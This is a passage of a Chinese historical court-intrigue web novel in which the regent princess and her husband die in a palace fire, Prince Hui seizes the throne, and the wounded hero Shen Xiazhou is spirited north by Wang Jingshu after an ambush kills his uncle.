她稍拢了拢披风,立马有机灵的侍女送上手炉,几个悄声退下的小黄门也连忙又增了炭盆。 漱阳长公主接过手炉,并未离开方才所立之处,但目色却有了焦距,长长的宫道上,有人行来,那人一手持灯,一手提袍爬着石阶,裘衣上下也沾上了风雪,风姿却半点不损,她一时看得有些痴了。 侍女也下望一眼,无奈退至后头,想长公主与大司马真是互相折磨,记得大司马方回洛京之时,公主连精神都好上不少,甚至有心开始注重梳洗打扮,即便是一丝白发也要拔掉,而大司马其姿其容,儒雅随和,宛如月下仙般瞧不出岁月痕迹。 可两人一旦独处不了多久,便会再次不欢而散,而被赶走的大司马,却总会不厌其烦地再次来寻公主,就好比现在,男子一步步地登上观景台,只他面容不复月下仙的出尘,像落凡一般染上了人间愁苦,眉间尽是憔悴与疲态。 沈照自回洛起,便再无一日睡过好觉,各方暗涌下的揣测与提防,他立在世家与陈薇之间,举步维艰。 世家服从了长公主的调令,但心底却多有不服,后方粮草的运送与兵器船只的供给便几多状况发生,且世家为首的将领与陈薇有意抬举的寒门武将也难以配合。 加之气候天险之故,六路兵马迟迟不曾真正击溃丹阳王的人马。 这是一种无声的反抗与示威,逼迫陈薇在当中做出抉择,甚至让步,可陈薇自先帝病中开始掌权至今,也自扶先帝登基始,从见皇权弱于世家到足以分抗,如何再次低头? 这条路,她固执地走到黑,认定只要撑过此关,便可令握兵权的寒门武将与世家分庭抗礼,她也不再受世家钳制。 对此,早在很多年前,他们便发生过多次的争执。 但实际上,即便生在世家,他也非是完全立在她的对立面,世家经多年的膨胀扩张,许多私下早已成了独立的小王国,甚至有人主张循旧制恢复五等爵,也就相当于要朝廷承认世家的小王国。 而他一直不赞同这种趋势,如此行为,岂不是在分裂好不容易统一的大绥,旧制中的各国纷争岂不是要重演? 这于雄心壮志的野心家而言,的确是值得追求,可世间更多是千千万万如萍草般追逐的普通百姓,难道也要将他们长久地卷入纷争? 他一直处于内心所求与立场不许的煎熬中,也是在这样的时候陈薇出现了,故而即便被欺骗,被利用,并不足以令他与她离心,他更在意,更控制不住想的是:陈薇除了利用,可有过真心待他? 纠缠多年,他们像两股难以分散,却同样难以拧成绳的混乱线团,彼此消耗着。 本以外会一直这样下去,直到先帝病重,再是三郎受难,继而陈薇对他防备更重,已然不愿再听任何人的,她将他彻底打入了对立一派般地仇视他,对他提出的建议只觉他不过是在为世家虚与委蛇,她自有一套敛权谋划。 她舍弃了扶持寒门学子这条见效慢的路径,明里暗里地给与寒门武将机会,再用战事一气收拢,妄图以此彻底压制凌驾世家。 眼下已走到至关重要的一步,功成与否,全看丹阳王事败后,世家可否容下与他们平起平坐的寒门武将。 在陈薇看来,这既是皇权与世家的较量,也是她与沈照之间是非对错的最后判定。 此时,沈照也已行至观景台上最后一层的阶梯,将灯笼交给一旁的小黄门。 陈薇掀眼,轻瞟了随侍的婢女一眼,婢女连忙带着所有宫人退下。 高高的观景台中又只余他们二人,平静的对视,他们在长久的岁月中似乎早就耗光了强烈情感的对峙,只执拗地仍旧坚持着些什么。 沈照目光先落到了桌案上未曾收起的药碗,还未及开口,陈薇先满身带刺一般地开口:“我还活好好的,你可是很失望?” 沈照回京后便周旋在世家之间,他所做的诸多努力,陈薇一直看在眼里,见他憔悴,她便满是恶意,恶意于他如今还要如何粉饰太平,平衡几方?恶意于他焦头烂额,与她一般憔悴,也胜利于她马上就要证明自己是对的。 唯一失败的是,她病了,还不知能守着这样的胜利多久,这时,她便又想起三郎,三郎不接受她的安排,不与陶娘子议亲,甚至自作主张地去劝降,又哪能真让他劝降,若成了,这战事如何起? 好在丹阳王根本不信朝廷,据江险自立伪朝,如此便更有了非战不可的理由。 沈照无奈看向陈薇:“你我如今这般年岁,还要闹到何时?” “你好好活着,我又怎会失望?” 他的眼神太过温润,温润得好似多年前躲雨时一般体贴,那日她是特意打听得太原沈家的老夫人在桃花观中小住,有意露脸与太原沈家搭上关系。 可惜半路下起了雨,还遇山石拦路,她本不愿耽搁时间,可偏有人请她躲雨,她一时迁怒,便想瞧瞧到底是哪来好心泛滥的烂好人,掀帘对望那一眼,心动的从来不是沈照一人。 除却这一场意外,往后诸多柔情蜜意皆是她知他身份后,算计而来,可她毕竟是大绥公主,柔情终归不长久,逐渐显露了她本来目的,她得偿所愿,弟弟在沈氏扶助下登基。 后来,她想要的就越发多,她听不得半点她依附于沈氏的言论,她陈氏明明才该是这个王朝的主人不是吗?她与沈照之间的矛盾也日显,她看不惯沈照事事讲究稳妥与平衡的做派,认定他根本是在为世家与她虚与委蛇。 多年难解的对抗认知下,她又用得上沈照,她在送离三郎去建业后,再次利用了沈照成了摄政的长公主,却翻脸毁了许多事先定好的约定。 她也曾悔过,但不曾放弃过,尤其是察觉自己病症时,更是变本加厉地想抓住些什么,可此刻听得沈照又再一次卸去往日恩怨的絮言,她开始不确定起来,她压上一切得到的权势,又疯狂期待的战事当真值吗? 不过片刻,她心肠又坚硬地认定值得,只要此次班师回朝,她手中就有了无需受任何一方钳制的兵权,她打败了世家,只差三郎替她继承下去,她的孩子应与她是一样不屈于人下的…… 她想得越发多,沈照便知今日她也是听不进去了,他起身道:“明日我再来看你。” 又行在来时的昏暗宫道上,昏黄灯色将他身影拉得既长又寂寥,从归洛京前,他便发觉许多事情都晚了,可身在局中,才更感无力。 几方立场对峙至今,他再多周旋,也仅仅是周旋而已,不再有任何实质性的作用。 所有人似乎都在等着南地的一个战果,胜是必然的,只功劳封赏的划分,那才是真正一碰即燃的引线。 可这些从一开始就不对,以吕相为首的世家与他周旋太过,太过和平,可他又何尝不是有意维持着这种和平? 沈府,灯火明亮如往昔,可若细辨,会发现不再有诸多表姑 娘的嬉闹,连家仆都少了许多。 沈二郎率先迎上了沈照,面色也不见往日的闲适戏谑,反显出雪寂般的肃容:“伯父,我母亲已暗中带着四娘离开洛京,姑母与王娘子也一并送走了。” 沈照点头:“如此,你也早日离开吧,太原我沈氏的根基还在,无论洛京发生何事,都不至庇护不了幼小。” 沈二郎着急出声:“大伯父不与我们一道走?” 话毕,沈二郎才发现自己话中都带上了颤音,他早就该发现的,自大伯归家,便引去所有外来的注意,不动声色地将家中人都送走,大伯若走,必然牵动洛京所有的注意,大伯从一开始便没想过要走。 他像是做出某种决定般道:“我留下帮大伯。” 沈照摇头:“大郎自小行事循规蹈矩,若只守城还尚可,可若大绥乱了,外族也侵入,便需你在一旁协力。” 沈二郎被沈照的猜测惊到,瞳仁也紧缩一下。 沈照便又安抚地开口:“只是可能。” “那三郎……”沈二郎欲言又止。 提起沈遐洲,沈照心中自觉亏欠许多,还不及修补的父子情,山中短暂地相处便已几乎是全部,他的肩像是不堪负重般顷刻间又颓下不少,“三郎那不必忧虑,我嘱咐你父亲看顾他了。” …… 夜愈发深了,沈遐洲收得一密信后,连夜渡江奇袭,但两兵相交时,他便撤退,直将敌兵引入陷阱,杀得丹阳残兵逃至岸上,跑到了江陵城边,而沈遐洲的人早早换了他们的军袍,混入残兵中。 城门一旦开了,城墙举火,便有更多的将士攻入。 城门口杀得混乱之际,有兵将前往江陵府急报丹阳王,沈遐洲跟至府门,才将其斩杀。 府中丹阳王正被远处传来的杀喊声惊醒,不及披甲就被卫士掩护着出逃,一箭落于他脚边,继而卫士将其不透风地掩在后。 与此同时更多的卫士也一拥而上,刀剑铿锵劈砍在一处,丹阳王又趁机挥砍两阻拦卫士偷逃。 沈遐洲目光始终牢牢锁定他,再次搭箭,噗呲的入肉声,不起眼却又明显至极,无形中丹阳王附近便被空出了一条道一般,沈遐洲一步步走近,每一步都像是踩在丹阳王命脉的鼓点上般令人惊惧。 丹阳王身形无疑是魁梧的,甚至早前在拒沈遐洲招降时,他往战船前一站,就如小山一般,嘲讽沈遐洲小儿的笑声也飘得老远。 可此刻,他的模样早已没有两军阵前的魁梧,沈遐洲像是恶意地欣赏他的惊恐,靠近时,还再次搭弓,每一箭都射中了丹阳王,可也每一箭都不至命。 被戏耍的无力感,丹阳王目眦欲裂。 此时,周旁丹阳王余的卫士也被清理干净,而沈遐洲也在丹阳王一步外的距离处停下,戏谑弯唇:“丹阳王,若知今日,你早些降该多好?” “小儿狂妄,不过赖着有人帮你罢了。”丹阳王知不可能逃掉,怒红脸梗脖道。 确有人帮沈遐洲,他二伯沈桓与他一道奇袭,后方诸多大事其实皆由沈桓把控,他不过带着奇袭的先锋一队开了城门后,先来确认他想确认的。 故而,他也并不恼,只一个眼神示意下,夜阑面无表情地断了丹阳王两只手。 嘶吼般的惨叫几欲破开人耳膜,便是这样一人仗势觊觎他的女郎,再狠的折磨落在其身上都不够解他心中阴鸷的恼意,但他的理智尚在,他一点一点地问,中途也不曾让丹阳王有痛晕过去的机会。 可越是问,沈遐洲的容色也越发沉肃,丹阳王是有反心,可不是在没做好准备的时候,从因王静姝跑至洛京,被长公主发现其拉拢南地士族敲打时,丹阳王便暂停了许多的动作,只时时将一腔怒意记在了王家六娘身上。 丹阳王在千秋宴时派人入京献礼,那些献礼的卫士得了丹阳王的授意,乔装打扮留在了洛京,以便寻得机会,将王六娘子抓回建业折磨,但王娘子一直不在京中,他的人也便暂留在洛京,也是等待那月余时日,有人通过这些卫士联系上了丹阳王。 那人愿意为丹阳王提供帮助,只求与其交好,来日成事能得个一官半职就好。 丹阳王被其捧得又生了志气,再次不服长公主一个女人掌着天下权,且那人还为他提供了不少切实的好处,传递了诸多消息,赠送了诸多金银,还愿帮他绑得王娘子。 这也就有了那一日第一批对王静姝抢掠的黑衣人,且也是自那一日后,再不曾收到帮他之人的任何口信。 他惊觉不对时,朝廷已对他有了动作,那时,他方回过味来自己成了别人局中的棋子,他无路可走,也不可能拿自己是被陷害的为开脱,只因除却被引导外,其他皆为真,唯有反了,或许还能有一线生机。 沈遐洲不用多辨,便知从丹阳王口中审出为真,而那人是谁? 他脑中闪过许多可能,又在一一划去后,定在了吕相与惠王身上,尤其是惠王,只因吕相根本不会给长公主提拔寒门的机会。 会这般费心,且熟知长公主与他的唯有惠王了,至于刺杀一事,无论他当初是死是伤,亦或是选择暗中处理了那批黑衣人,最后的结果都会指向这场战事。 惠王到底是在为谁做嫁衣? 沈遐洲脑中想得越发多,可以肯定的是惠王不会如丹阳王所言,为了一官半职,他所谋定然极大—— 他目色顿一下,想到了一些一直以来对惠王的存疑。 他立即打下手势带人离开,然还未极至府门,漫天箭雨朝他而来,有卫士在不防下连中数箭。 这绝非丹阳王的人!更像是征南的其他几路人马。 此次征南共有六路人马,分别进攻涂中、夏口、武昌……其中他与沈桓直取丹阳王坐镇所在江陵,今夜奇袭,也该只有他们这一路人马知晓,可这些出现的兵将,无不说明,有人泄密,且行事有变。 “护郎君突围!”嵇牧当机立断,拦在前的身形也坚毅无比。 那些弓手换完一批又轮换下一批,短短的冲出路程不知倒下了几多卫士。 黑魆魆的夜中布满了寒光、血光,月色也像是染上了一层阴翳。 当沈遐洲等人冲出江陵府时,身旁百余卫士,竟只剩下堪堪双数,外头并不比在里头被围困的好,几路兵马混战在一处,人与人早已杀红了眼。 沈遐洲杀至一个小将领跟前,面色清寒,双眼却通红如鬼魅,他收紧扣着将领脖颈的手,“何人指使的你们?” 那小将领腔中上涌的血沿唇角流下,目色却诡异地亮,绷紧的手臂竟还有一击之力,但在那一击落下前,目色通红的郎君先掰了手,“咔嚓”的骨骼脆响,将领彻底失去了性命。 郎君犹如自语般道:“没关系,你不说,自然有人说。” 众人只见,他们平日里连杀人也干净整洁的郎君满身浴血,折断了一个又一个将领的脖颈,泛亮的长剑更是几多穿透敌人。 但他们没有被郎君的煞气所慑,不知疲惫般地跟着郎君不断往城门处杀去,那里理应有大将军沈桓的兵马。 未及城门,他们终于遇上了接应他们的一队人马,是沈桓身边的最得力的卫士杜从,他带人一至,众人瞬觉压力小了许多。 杜从甫一见满身沾血的沈三郎,也顾不上多查看,急着道:“郎君,你同我走,大将军命我护你离开江陵!” 正说着的关口,他手中也并未闲着,斩杀了冲上前的他方兵将。 沈遐洲像是 猜到什么一般,一言不发,只疯狂杀着不要命般不断冲上前来的敌军。 杜从无法,紧跟拼杀在其后,急切地交代道:“郎君,我们的奇袭被人泄露给了其他几路兵马,他们根本无心征南,他们的目标是大将军与你!” 沈遐洲早该想到的,世家投了惠王,又哪会放过沈家这个阻碍?丹阳王只是一个幌子罢了,更重要的是借此,将沈桓也葬身此处。 可除去世家的人马,还有长公主抬举的寒门武将那两路人马呢?几方相互牵制,怎么都不该统一到一处去。 他杀了很多的人,唯独没有见到陶敬与另一寒门武将所带人马。 可他并不敢对此抱援兵希望,他杀敌越麻木,思绪却越清晰,他若是陈雍,也不会让寒门武将所领将士参与到对沈大将军的围杀。 世家与世家之间消耗,寒门武将保存实力,在日后才更有可能成为牵制世家的一股力量,陈雍不会甘心只做世家的傀儡。 不用去确认,他心中已然越推越清晰。 他们仍旧在向外拼杀,援兵却迟迟不到,他便知自己料对了,陶敬会将女儿都送至洛京中钻营,又哪是半点敏锐也无的将领。 不断面对密密麻麻的敌人,杜从心中也越发焦急,他必须将三郎无恙送出江陵城,才不负大将军所托,其实有一点他一直没说,大将军在给他下令前,就已负伤,军中出了叛徒自后腹处给了大将军一刀。 大将军反应极快,但伤口也血肉翻出,隐隐发黑,当即分出一队人马先来寻三郎君,可非是他不愿带走三郎君,而是敌军太多,像是从四面八房涌来一般,无论从哪一方撤都一样艰难,而三郎也非是他轻易拖曳带走之人。 沈遐洲武艺无疑是高强的,可也耐不住寡不敌众,接连的拼杀,他握剑的手都好似在发颤,可也终于在混乱的厮杀中寻到了沈桓的亲卫。 他常人情冷漠,脾性阴郁古怪,可有一点王静姝说对了,他其实从来不是一个人,他有沈二郎,沈四娘……既有这般在乎之人,又怎么能不将他们的父亲带回? 但越靠近,才发现亲卫拥护着的沈桓早已没有气息,周遭杀疯了的兵将,也不过是想从沈桓身上取得一些信物,已证立功。 沈遐洲的杀入,显然惊讶了沈桓的亲卫。 杜从也一时悲从心来,“大将军怎会……” 即便受伤,中毒,沈桓在众人心中也觉得他应当活着,而不是披着一身的伤再无生气。 沈遐洲默默为其闭上眼,折去未曾拔出的箭羽,令亲卫将沈桓背上,他举剑高声下令,“众将士,与我一道突围!” “杀——” 沈遐洲的出现令许多兵将像是寻回了主心骨一般,即便被杀散,也知该重聚往何处。 夜在一点点变得灰淡,可来的只有更多的敌军,每个人耳边也是不断地兵戈与呐喊,直到他们冲出了包围,那些声音好像仍旧在回荡。 遥远天际的曦光照亮他们的形容,渡江而来时的赳赳兵将,走时连一个营的人都不足,众人神情中也只留茫然与麻木,他们在没有主将下杀出来了,可他们往后又该何去何从? 不少人将目光投向靠在树下的沾血郎君。 郎君面色极白,就像是随时可能晕过去一般,可也是这样的郎君,一直拼杀在所有人前头,还将大将军的尸身护着突围了出来。 众人不免对他生出期待。 沈遐洲长久没有说话,搭在膝上的手经络突兀地一跳一跳,连带手指也不受控地颤,长久的厮杀令他短暂失去握力,他状态实在算不上好,身上也满是没有收拾的伤,可他的面容却显得无比的平静。 不是平和的安静,而是死静,静得诡异的可怖,就好像他此刻早已怒极,怒得要挣脱了这层皮囊,释放出滔天的报复欲与他本性中的恶意。 常年拉锯在他心中的道德与约束,在面对死去的亲族,还有难以预料的洛京其他人,都令他在舍弃曾经对自我的压抑。 他甚至想不顾所有人的疲惫,立刻马上带人赶回洛京。 “郎君——”嵇牧先发现了郎君的起身,连忙担忧地目光追寻,三郎几乎是他看顾大的,而这些年来三郎身体的极限,他也心知肚明,三郎带领所有能聚集的兵将突围,既要拼杀,又要时刻思虑着路线,短短时间内到底要调动多少心神,才能有现在甩开追兵的喘息? 而三郎分明已不能再勉强自己,他还要做什么?如何能不令人担忧? 沈遐洲一步步走至沈桓尸身处,脱下沾血的外袍为其遮盖,嗓音也听不出情感地将所余下的将士分成了两路,一路带沈桓归太原故里,一路随他重回洛京。 洛京之外的争斗就已如此惨烈,他根本无法料得洛京又会发生什么,他不敢再停歇,也不愿再去多想,脑中唯有必须回去一个念头。 这念头强大到武装了他的身体,令他忽略了各种不适,只想快点再快点—— 此时的洛京,也正酝酿着一场大乱。 沈照收到宫中传信,长公主病症突然加重,请大司马入宫一见。 传旨的是个陌生宫人,沈照明明发现了这一点,却并不因此抗旨,他一如往常一般待人温和,只请宫人稍等,他需换身衣再随他入宫。 宫人虽心中紧张,但像是早就得过叮嘱,努力稳着嗓音,请沈照快着些,长公主怕是要不行了。 可他目中的慌张是藏不住的,说出的话也满是错漏,一个小小宫人如何能直言长公主不行了? 沈照并未因此斥责,只低头瞧了瞧自己的整饰,舍了再去换衣的念头,宫人催得这般急,唯可以确定的是,陈薇即便没有病重到不行的地步,也早已被圈禁了。 他低叹一声,跟着宫人离开了沈府。 他才走不久,一群持刀枪的甲卫便重围了沈府。 沈照没有再回头,再次行在长长的宫道上,他似是追忆,又似是惆怅,他或许该更早些想明白,也更早些下山才是,或者更早些,不要因政见的不和就连情感也否定了…… 他有许多后悔之事,可再次行向观景台的步子却半分不迟疑。 陈薇不但病了,更是被圈禁了,昨日夜里,各宫门被锁,一夜之间,所有侍候她的宫侍皆毙命,她竟不知一直被她忽视置于一边的幼弟惠王,何时收拢了她宫中诸多护卫人心,且与世家一同立在了她的对立面。 她自问,虽有利用陈雍之心,可相较于他年幼时过的日子,她于他应有再造之恩,可这些竟都被告知是她的自以为是。 在她忽略的多年里,她豢养的从来不是只病羊,而是披着羊皮的恶狼。 恶狼将所有埋在平日里的恶意畅快揭露,原来,他早已觊觎天子的位置,在更早刚知晓自己用处的时候。 他起初是不想再回到荒僻的冷宫,不愿再连奴婢也看不起他,他听话,乖巧,即便知在日后要当长公主掌权的傀儡,可抱着这样的念头也被舍弃了,宫中有了新的皇子,无论是长公主还是先帝都有了更好的选择。 故而他故意利用了能在先帝殿中当差的宫侍,挑动了先帝与长公主姐弟之间的嫌隙,令先帝下定决心在死前为亲子除去长公主。 所以沈三中毒的最终源泉其实是他,他状似压抑多年的病人一朝得了吐露的机会,毫无保留,又急于想寻人分享的热切模样,与被控制了的长公主彻夜详谈:“长姐,你不知吧,是我派出的人刺杀三郎,也是我为你创造的与丹阳王开战机会。” 他越说越畅快,“你苦心想抬举的陶敬,他投了我。” “三郎现在也不知可还活着?” “我倒希望三郎还活着……” …… 一回想起前一晚听得的过多隐秘,陈薇面色越发白了,是她养了一条恶狼在身边,也是她没有及时发现恶狼的野心,是她过于自大,以为一切皆在掌控,将人心与权利争斗一味化简为兵权。 她只恼恨,谋至最后,为旁人做了嫁衣。 可到了这样的时候,她最多想的竟不是被夺走的权势,而是像一个母亲了,会担忧三郎可能逃脱围困追杀,沈氏可会受她的累,沈照是不是早就料到了她会有这样的结果? 他还会来看她吗? 不,她不希望沈照再入宫来见她了,她与他争执了十几年,到了最后的时刻,即便发觉自己错了,也再难低头了。 沈照还未及观景台,先见到了远处的火光,他惶然一瞬,拉着宫人问:“那是何处?” 宫人远见着宫中走水,心中正急,听得大司马的询问,不多加思索地就道:“是观景台。” “这可如何是好,公主可在观景台中等着大司马!” 宫人说话又急又快,音调也古怪,沈照却无比清晰地听进去了,身形紧跟着晃了晃,他在一瞬失了平日的风度,忽地就跑了起来。 有新指派到此守着长公主的侍女在外一直哭,她们担忧观景台起火,受到责罚。 沈照从混乱的救火声中听得人喊,长公主还在里面。 但火只越烧越大,这般大的火,定然是从内部烧起的,且许久不曾有人发现,足以猜得,陈薇被关禁在此处,多有受到冷待。 可这些并不足以令其放弃生命,沈照认识的漱阳长公主,只要还有一丝可能就不会轻易自裁,是有人不想漱阳长公主活了。 沈照目色一瞬空然,摇头轻叹:“罢了,罢了,本就料到会有此一遭,该是陪你走的。” 众人忽地瞠目而望,只见那才归洛京几月,仙人般的大司马走进了火舌中,白色的衣袍顷刻间带上焰色。 观景台的梯阁还算完好,还能行人,他从容迈上,他知晓哪一层的景致最好,陈薇最喜,他片刻不曾停,却在迈过一层木梯时,被落下的横梁砸下燎伤。 越往上,空气越发稀薄,他走得也越发艰难,难耐地喘息咳嗽。 而也因他的咳声,在露台中等着火舌卷来的女子偏头望来,她虽走不动了,但一点不显狼狈,宫装逶迤铺开,身旁还有个闭目像是陷入美梦的男童,竟是如今的小皇帝陈昶。 陈薇看狼狈的沈照挪步走近,难言的酸涩比火浪还浓热地席卷了她,她喃声,喉腔早已因吸入过多的浓烟发声困难。 沈照却微微笑了,读懂她问的是他为何来。 他没有说话,只是更近了一步,伸手去试陈昶的呼吸。 陈薇目色便又变得尖锐,可也仅仅一瞬,似乎觉得到了这一刻,已没有必要再去介怀这种小事,可长久以来的习惯,令她早已不会好好交流,粗哑不似往日的嗓音听得她自己都有的迷惘: “你是为他来?可惜我这侄儿是个福薄的,他是死了被送进来的。” “陈雍比你我想的都要心狠。” 许是惧怕世家反水,选了小皇帝,陈雍封锁宫门带兵闯入时,率先处理的是陈昶,继而留至今日,与她一起上路。 “我为你来。” 沈照自年轻时起,就不是会说动人话的,可此刻再被误会,他却说了比情话还动听的实话。 陈薇怔愣片刻,往日种种走马灯一般浮现在脑中,她低悦地笑,她想抓住的权势太大,大到常常隔了一层薄膜似的去观测人心,亲子不似亲子,夫郎不似夫郎,过往常怀疑沈照为世家阻碍她。 可这时再回想,她竟觉得他的许多提议虽短期见不得成效,可也绝不会令她像如今这样,被世家反扑,被一手闲养的白眼狼送入火海。 若再有机会,她想走得慢一些。 她的目光变得柔和,“你是不早知我会有今日?” 一切其实都有迹可循,沈照这次归洛,不再提他那套寒门士子论,只一日日地来见她可曾用药,是她病中变得更加尖锐,一次次将人逼走。 “我劝不了你,也无力再助你。”沈照道。 沈家过往确凌驾于许多的世家之上,可那是皇权世家几方稳定的前提下,一旦有了变故,与长公主千丝万缕的沈家就会第一个被排除在外,他自周旋于吕相等人之中时,就已发现自己被排在某些谋划之外。 他能做的唯有拖延时间,拖延到先将家中安顿,也拖延吕相等人的任何筹谋都晚些进展。 但骤然间,他就撑不住了,沈府被围了,而宫廷也一夜间骤变,倒是要多谢今日宫人还愿客气请他入宫,他本想穿得再好看些来见陈薇。 沈照思绪都有些飘散了,他变化了姿势,用身体撑住再难维持端仪的陈薇,陈薇也摸得他背后模糊的血肉,她手指在血肉处顿住,并算不得惊讶,他能寻得这儿,受再大的伤也不意外。 两人渐渐变得更加虚弱,却比以往更加地贴近,也在同时想起了亏欠的三郎,陈薇最后的弱音问起了沈遐洲。 察觉到那渐渐失力的手指,沈照道:“三郎会没事的。” 但这其实他自己也无法确定了,沈府被围当夜,他料定这骤变必然有个契机,最后送出了密信,今晨却在入宫途中听得,大将军沈桓兵马急攻失利,全军覆没。 那一瞬,他便知了,惠王等人一直等的契机必是此了。 沈桓死了,能就兵权上为长公主造成变数的世家一系就不存在了,远在太原沈家旁支更是不足为惧。 火势再也不受控的吞噬了最中心的一带,木板也再撑不住地塌陷,沈照拥住了怀中从不曾这般宁静过的陈薇,坠入黑暗,最后一刻他有解脱,也有对三郎的殷勤祈盼,三郎定然是活着的,沈家也仍旧留有许多火种。 当火彻底熄灭时,宫廷中最高的一座观景楼早已堆成了焦炭,从中挖出的几具尸体,确是长公主与大司马无误,甚至小皇帝也在其中。 惠王似可惜地哀道:“姑母缘何想不开,要带着昶儿与大司马一起赴死。” 是日,漱阳长公主的死便流传出了众多死因版本,有说其病中暴政,不甘自己一人死,带上了夫君与小皇帝,也有说是因南地战事劳民伤财,她自焚谢罪而死…… 事实到底如何,并不会影响普通百姓的生活,而朝廷却必须有个新主。 小皇帝陈昶曾亲封的大绥神女陶然再次闻得天意,道惠王乃真正授命于天,是真龙天子。 陈氏的皇族血脉到了如今,能称得上正统的其实也就剩惠王了,但他特意搞这一套,隐有被离世家掌控的意味。 他想当的可从来不是什么世家的傀儡。 也是这时世家才发现,被漱阳长公主抬上来的寒门武将并没有那么好打发,这时若还想让他们哪里来的回哪里去,简直痴人说梦。 且,在征南一战中,世家集几军之力,与沈桓所带兵马相碰,折损也颇大,若是只因排斥寒门武将再次起了战事,定然引来民怨,只能暂忍下。 惠王的登基也在这样没有波澜中取代了先前的小皇帝与长公主。 * 沈遐洲早该赶回洛京的,即便与父母之间的亲情再淡,那也不该这般匆匆了结。 为人子女,连父母尸骨也不得敛,又如何能放得下?而且除了长公主和沈照,沈家的其他人呢?还有说要等他的女郎呢?他们皆在洛京,他有太多必须回去的理由了。 他眼圈很红,尤其是沿途听得的各种洛京消息,更是连日都不曾睡下,马也被他累死了几匹,能凭着一口气还跟着他的也仅仅几个卫士而已。 但他却在距洛阳不过两个县郡距离的阳城被拦了,拦他的是沈二郎。 奔驰许久的马本就疲累至极,被急勒马一下,竟直接倒地吐起了白沫,而马上的郎君也跟着摔下马翻滚几下。 他虚弱极了,脸颊灰败得不似往日的俊美郎君,沈二郎瞧得心都惴疼一下,“三郎,你不能再往洛京去。” 沈家如今正是重创之时,三郎这样不管不顾地回去,焉知会发生什么? 如今那“良善”的惠王,无人能再说得准了。 沈遐洲见到沈二郎的欣喜被这句阻拦冲散,他脸色急剧地变化,阴翳不甘,怒恨煎熬,他是抱着必死之心回来的—— 他的脸色犹在变化,不远处却冲来一带着帷帽的女郎,当着沈二郎的面,也在沈遐洲呆望她的一瞬,果断用藏在背后的石头将沈遐洲敲晕了。 随之手一松,拳头大的石头从她手中落下,她去抱倒下的郎君,却被沉得也往下跌:“二表哥,你倒是帮我一起扶扶三郎啊。” 马车滚动, 他们一路向北。 王静姝先去检查沈遐洲方才被她砸的后脑处,有点微肿,但比起他身上许多不曾好好去处理的伤,真的算不上什么。 他已经很虚弱了,再不能放任他继续去透支自己的身体了,与这样一个又伤又病得随时要死的郎君,何必再让他去做某些决定? 他靠着一股韧劲支撑到现在,又哪有什么正常的理智可言? 她为他做决定吧,即便醒了后他会怪她也好。 为防泄露行踪,他们一行中并未带医师,他们笨拙地为沈遐洲查看着伤势,根本数不清的伤,每清理一处伤口,撒上一次药,郎君肌骨便会无意识地颤动一下,但他一直不曾醒,他累极了,一旦倒下,就泄了那股劲,再难醒来,说不定还会发起高热。 王静姝抚手探在沈遐洲的额上,继而慢慢俯下身,虚贴着郎君的心口,心跳很缓,但只这样听着,她就能放下心来。 方看望完沈遐洲带着的其他几个卫士,要掀帘上车看三郎的沈二郎,顿住一下,缓缓放下车帘,同车队传递了几句什么,换了一辆马车续行。 王静姝并非没有发现沈二郎的动静,只二表哥既然没有打扰,她也便继续心安地与郎君独处,他一直不醒,她也只好每隔一段时间,就去用湿帕为他润润唇,又探探他的额温。 他怎么就老是将自己搞得遍体鳞伤呢? 她会多陪他一些时日的,至少在他好前。 第66章 第66章“你又招我。” 王静姝一边梳理着沈遐洲的鬓发,一边思绪放远,眉心也忧愁地蹙起。 她知道的,甚至可以预料到,她这次绝对会被家中接走的。 沈家出事,不复往日能对她的庇佑,当然,到了如今,也没有什么丹阳王之类能对她造成威胁,可比丹阳王更麻烦的局面也随之出现。 大绥内部的动荡,如今正往四面八方辐射,南地士族短时间内定然归顺,而沈家现在就是谁沾上谁倒霉的败犬。 他大伯这次绝对不会允许王氏与沈家有任何的牵连,无论是她还是小叔母必然被接回。 故而,其实一开始,在安排撤离洛京时,她并未与沈二郎等人安排在一处,是她实在放心不下沈遐洲,先寻上了沈二郎。 万幸,她留下来了,她的郎君突然遭此大变,失去父母,甚至无法为他们收殓尸骨,整个家族也被逼离洛京,他本就爱多想,若是连她也一面不曾与他见地离开了,他该多难受啊? 王静姝怜爱地贴了贴郎君的颊靥,双眼也不禁浸润了潮意,她不知局面怎就会发展至如今的模样,明几月前还一切好好的,甚至沈伯父的回京,她原以为一切都会往好的方向发展。 可一切都是和平的假象,世家与皇权的拉锯非但没有因沈伯父的回京有所缓和,而是直接走向了极端的方向,但两方都没有得到原想得到的结果,鹬蚌相争,得利的最后只有取代了长公主的惠王,还有借此挤入政权的寒门武将。 这让大绥迎来了新的局面,世家不再有压过皇权的绝对力量,而皇权也不再仅能依靠世家,几方原定的平衡早被打破,但新的平衡真的能因换了新的帝王就稳定吗? 王静姝认为不然,吕家为首的世家出力最多,但却吃了个大亏,新的平衡怕是一时半会还定不了。 所以,更要抓住这留出的时间,跑得远远的,沈遐洲不该在这时候送上门去,也必须忍耐,忍耐逃离,也忍耐愤怒。 只要耐心熬过这段时日—— 泪水从女郎眼眶中不受控地涌出,她也不知即便熬过了这些时日,沈家会如何了,太原余留的沈氏根基真能护佑住所有人吗? 马车仍旧在前行,当夜里,沈遐洲才转醒,他的面颊苍白削瘦,黝黑的双瞳迟钝地转动,他不曾动作,身上的各种酸疼就席卷了他。 他慢慢适应着身上涌上的连日疲乏与疼痛,神思也慢慢地回想起昏去前所发生之事,瞳仁紧缩一下,在昏暗一片中寻到了女郎的身影,她靠在车靠上,双目紧闭,眼睫却沾着未干的泪痕。 沈遐洲心像是松一下地支撑着自己坐起,至少王静姝并没有离开他,他在陡然间失去了太多,他从不是个好郎君,心思诡谲阴暗,请出沈照也非是为了什么父子情,而是为了利用沈照平衡长公主与世家之间的矛盾,令他有时间南下彻底平了丹阳王带来的威胁,也揪出那一直隐在暗处推动一切的黑手。 但他从来没想过他们会死得这么突然—— 突然得他会想是不是他害死了他们,若是他不曾请沈照回京,亦或是他不曾离开洛京,再或者,他更多去探究长公主对战事的急切…… 自责的窒息令他短暂地呼吸都停滞,目色也越发幽深阴沉,脑中闪过一个个该死之人的面孔。 王静姝睁眼陡地就撞入了他仿佛藏着妖魔的眼,恍若下一刻他就会化身失去理智的妖魔。 他是个极其矛盾的郎君,坏心思虽多,但常有道德感拉扯着他,令他端然外显,俊美压过阴鸷,可此刻,王静姝觉得似有什么恶鬼彻底从郎君的身躯中苏醒,所有名为良善道德的锁链顷刻间被郎君挣脱。 一瞬的陌生,令王静姝都感到害怕。 也是她瑟缩的一下,对面的郎君有所感地掀眼望来,“卿卿,你醒了。” 